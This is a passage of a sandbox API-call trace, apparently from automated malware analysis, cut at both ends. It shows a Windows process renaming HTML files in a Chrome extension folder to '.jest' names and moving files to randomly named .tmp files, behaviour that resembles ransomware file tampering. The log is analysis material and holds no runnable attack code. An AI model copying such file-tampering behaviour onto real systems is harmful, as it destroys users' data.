29Htgr8JgztjlTnSOfeA2Frg9HrrcI4Ho00mbuwCGFFSAZIr.tmp") returned 0x8e [0150.306] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ ewGcPr5HSYQAWqBgkIM1gHq43pkpqRQ2JCPNqX0ejcIWD34_7u 29Htgr8JgztjlTnSOfeA2Frg9HrrcI4Ho00mbuwCGFFSAZIr.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x47776520, cFileName="cPr5HSYQAWqBgkIM1gHq43pkpqRQ2JCPNqX0ejcIWD34_7u 29Htgr8JgztjlTnSOfeA2Frg9HrrcI4Ho00mbuwCGFFSAZIr.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.306] GetLastError () returned 0x2 [0150.307] GetLastError () returned 0x2 [0150.307] SetLastError (dwErrCode=0x2) [0150.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.307] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.307] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.307] CoFreeUnusedLibraries () [0150.308] GetTickCount () returned 0x115759d [0150.308] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.308] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.308] GetTickCount () returned 0x115759d [0150.308] IsWindowVisible (hWnd=0x30268) returned 0 [0150.308] Sleep (dwMilliseconds=0x0) [0150.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.309] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.309] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.jest")) returned 1 [0150.310] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html", lpFilePart=0x18e6d8*="devices.html") returned 0x9e [0150.311] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x4000004, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439860, ftLastAccessTime.dwLowDateTime=0x144def0, ftLastAccessTime.dwHighDateTime=0x1431788, ftLastWriteTime.dwLowDateTime=0x20, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.311] GetLastError () returned 0x2 [0150.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.311] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.311] VarBstrFromR4 (in: fltIn=0x47944fff, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.99") returned 0x0 [0150.312] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.312] CoFreeUnusedLibraries () [0150.312] GetTickCount () returned 0x115759d [0150.312] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.312] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.312] GetTickCount () returned 0x115759d [0150.312] IsWindowVisible (hWnd=0x30268) returned 0 [0150.312] Sleep (dwMilliseconds=0x0) [0150.313] GetFullPathNameA (in: lpFileName="fPuAkCYEm9vdbQNxjvBiXL6fxAYlw8_vUGo5SmqdP1L_TSDYuClHfrBC0DhaTr_n47eR3VC87gpzbWgy0nhQ3dO202ToSsfw7eWF.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fPuAkCYEm9vdbQNxjvBiXL6fxAYlw8_vUGo5SmqdP1L_TSDYuClHfrBC0DhaTr_n47eR3VC87gpzbWgy0nhQ3dO202ToSsfw7eWF.tmp", lpFilePart=0x18e708*="fPuAkCYEm9vdbQNxjvBiXL6fxAYlw8_vUGo5SmqdP1L_TSDYuClHfrBC0DhaTr_n47eR3VC87gpzbWgy0nhQ3dO202ToSsfw7eWF.tmp") returned 0x8e [0150.313] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html", lpFilePart=0x18e708*="devices.html") returned 0x9e [0150.314] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fPuAkCYEm9vdbQNxjvBiXL6fxAYlw8_vUGo5SmqdP1L_TSDYuClHfrBC0DhaTr_n47eR3VC87gpzbWgy0nhQ3dO202ToSsfw7eWF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fpuakcyem9vdbqnxjvbixl6fxaylw8_vugo5smqdp1l_tsdyuclhfrbc0dhatr_n47er3vc87gpzbwgy0nhq3do202tossfw7ewf.tmp")) returned 0 [0150.314] GetLastError () returned 0x2 [0150.314] GetLastError () returned 0x2 [0150.314] SetLastError (dwErrCode=0x2) [0150.314] GetLastError () returned 0x2 [0150.314] SetLastError (dwErrCode=0x2) [0150.314] GetLastError () returned 0x2 [0150.314] SetLastError (dwErrCode=0x2) [0150.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.314] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.315] GetFullPathNameA (in: lpFileName="fPuAkCYEm9vdbQNxjvBiXL6fxAYlw8_vUGo5SmqdP1L_TSDYuClHfrBC0DhaTr_n47eR3VC87gpzbWgy0nhQ3dO202ToSsfw7eWF.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fPuAkCYEm9vdbQNxjvBiXL6fxAYlw8_vUGo5SmqdP1L_TSDYuClHfrBC0DhaTr_n47eR3VC87gpzbWgy0nhQ3dO202ToSsfw7eWF.tmp", lpFilePart=0x18e6e4*="fPuAkCYEm9vdbQNxjvBiXL6fxAYlw8_vUGo5SmqdP1L_TSDYuClHfrBC0DhaTr_n47eR3VC87gpzbWgy0nhQ3dO202ToSsfw7eWF.tmp") returned 0x8e [0150.315] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fPuAkCYEm9vdbQNxjvBiXL6fxAYlw8_vUGo5SmqdP1L_TSDYuClHfrBC0DhaTr_n47eR3VC87gpzbWgy0nhQ3dO202ToSsfw7eWF.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x41755066, cFileName="kCYEm9vdbQNxjvBiXL6fxAYlw8_vUGo5SmqdP1L_TSDYuClHfrBC0DhaTr_n47eR3VC87gpzbWgy0nhQ3dO202ToSsfw7eWF.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.315] GetLastError () returned 0x2 [0150.315] GetLastError () returned 0x2 [0150.315] SetLastError (dwErrCode=0x2) [0150.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.315] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.316] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.316] CoFreeUnusedLibraries () [0150.316] GetTickCount () returned 0x11575ad [0150.316] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.316] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.316] GetTickCount () returned 0x11575ad [0150.316] IsWindowVisible (hWnd=0x30268) returned 0 [0150.316] Sleep (dwMilliseconds=0x0) [0150.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.317] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.318] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.jest")) returned 1 [0150.319] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html", lpFilePart=0x18e6d8*="index.html") returned 0x9c [0150.319] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x4000004, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439860, ftLastAccessTime.dwLowDateTime=0x144def0, ftLastAccessTime.dwHighDateTime=0x1431788, ftLastWriteTime.dwLowDateTime=0x20, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.319] GetLastError () returned 0x2 [0150.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.319] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.320] VarBstrFromR4 (in: fltIn=0x47945001, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.01") returned 0x0 [0150.320] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.320] CoFreeUnusedLibraries () [0150.320] GetTickCount () returned 0x11575ad [0150.320] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.320] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.320] GetTickCount () returned 0x11575ad [0150.320] IsWindowVisible (hWnd=0x30268) returned 0 [0150.321] Sleep (dwMilliseconds=0x0) [0150.321] GetFullPathNameA (in: lpFileName="WDH0EiBX1J71uVhbpVhIpXwEhcRDw_mHHmZX4If1ggmpmy5T7zB6k7abfTXCDARY8i8M5n-xpMRzgR1j3UCJgHbxdWwM9MI04b9D.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WDH0EiBX1J71uVhbpVhIpXwEhcRDw_mHHmZX4If1ggmpmy5T7zB6k7abfTXCDARY8i8M5n-xpMRzgR1j3UCJgHbxdWwM9MI04b9D.tmp", lpFilePart=0x18e708*="WDH0EiBX1J71uVhbpVhIpXwEhcRDw_mHHmZX4If1ggmpmy5T7zB6k7abfTXCDARY8i8M5n-xpMRzgR1j3UCJgHbxdWwM9MI04b9D.tmp") returned 0x8e [0150.321] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html", lpFilePart=0x18e708*="index.html") returned 0x9c [0150.322] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WDH0EiBX1J71uVhbpVhIpXwEhcRDw_mHHmZX4If1ggmpmy5T7zB6k7abfTXCDARY8i8M5n-xpMRzgR1j3UCJgHbxdWwM9MI04b9D.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wdh0eibx1j71uvhbpvhipxwehcrdw_mhhmzx4if1ggmpmy5t7zb6k7abftxcdary8i8m5n-xpmrzgr1j3ucjghbxdwwm9mi04b9d.tmp")) returned 0 [0150.322] GetLastError () returned 0x2 [0150.322] GetLastError () returned 0x2 [0150.322] SetLastError (dwErrCode=0x2) [0150.322] GetLastError () returned 0x2 [0150.322] SetLastError (dwErrCode=0x2) [0150.322] GetLastError () returned 0x2 [0150.322] SetLastError (dwErrCode=0x2) [0150.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.322] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.323] GetFullPathNameA (in: lpFileName="WDH0EiBX1J71uVhbpVhIpXwEhcRDw_mHHmZX4If1ggmpmy5T7zB6k7abfTXCDARY8i8M5n-xpMRzgR1j3UCJgHbxdWwM9MI04b9D.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WDH0EiBX1J71uVhbpVhIpXwEhcRDw_mHHmZX4If1ggmpmy5T7zB6k7abfTXCDARY8i8M5n-xpMRzgR1j3UCJgHbxdWwM9MI04b9D.tmp", lpFilePart=0x18e6e4*="WDH0EiBX1J71uVhbpVhIpXwEhcRDw_mHHmZX4If1ggmpmy5T7zB6k7abfTXCDARY8i8M5n-xpMRzgR1j3UCJgHbxdWwM9MI04b9D.tmp") returned 0x8e [0150.323] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WDH0EiBX1J71uVhbpVhIpXwEhcRDw_mHHmZX4If1ggmpmy5T7zB6k7abfTXCDARY8i8M5n-xpMRzgR1j3UCJgHbxdWwM9MI04b9D.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x30484457, cFileName="EiBX1J71uVhbpVhIpXwEhcRDw_mHHmZX4If1ggmpmy5T7zB6k7abfTXCDARY8i8M5n-xpMRzgR1j3UCJgHbxdWwM9MI04b9D.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.323] GetLastError () returned 0x2 [0150.323] GetLastError () returned 0x2 [0150.323] SetLastError (dwErrCode=0x2) [0150.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.323] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.324] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.324] CoFreeUnusedLibraries () [0150.324] GetTickCount () returned 0x11575ad [0150.324] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.324] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.324] GetTickCount () returned 0x11575ad [0150.325] IsWindowVisible (hWnd=0x30268) returned 0 [0150.325] Sleep (dwMilliseconds=0x0) [0150.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.325] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.325] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.jest")) returned 1 [0150.332] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html", lpFilePart=0x18e6d8*="offers.html") returned 0x9d [0150.332] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x4000004, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439860, ftLastAccessTime.dwLowDateTime=0x144def0, ftLastAccessTime.dwHighDateTime=0x1431788, ftLastWriteTime.dwLowDateTime=0x20, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.333] GetLastError () returned 0x2 [0150.333] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.333] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.333] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.333] VarBstrFromR4 (in: fltIn=0x47945003, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.02") returned 0x0 [0150.334] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.334] CoFreeUnusedLibraries () [0150.334] GetTickCount () returned 0x11575bd [0150.334] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.334] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, 